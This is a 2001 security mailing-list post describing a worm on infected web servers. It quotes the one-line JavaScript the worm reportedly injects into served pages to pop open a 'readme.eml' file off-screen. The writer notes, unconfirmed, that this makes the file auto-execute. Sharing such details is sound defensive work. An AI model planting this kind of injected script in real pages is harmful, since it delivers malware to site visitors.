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Some more details on the worm


From: "Davis, Matt" <matt.davis () countryfinancial com>
Date: Tue, 18 Sep 2001 11:44:07 -0500

When pages are served up by an infected server, it looks as though
readme.eml is 'attached' to them.  The server attempts to get the client to
open them through the following bit of code (from the .dll file):

<script language="JavaScript">window.open("readme.eml", null,
"resizable=no,top=6000,left=6000")</script>

According to Slashdot, this causes the file to be automatically opened and
executed by the client.  I haven't been able to confirm or deny that (but if
someone can, please do).

Regards,
Matt


--
Matt Davis, MCP
Intermediate Client Server Business Support Analyst
COUNTRY(SM) Insurance & Financial Services
309-821-6288
mailto:matt.davis () countryfinancial com

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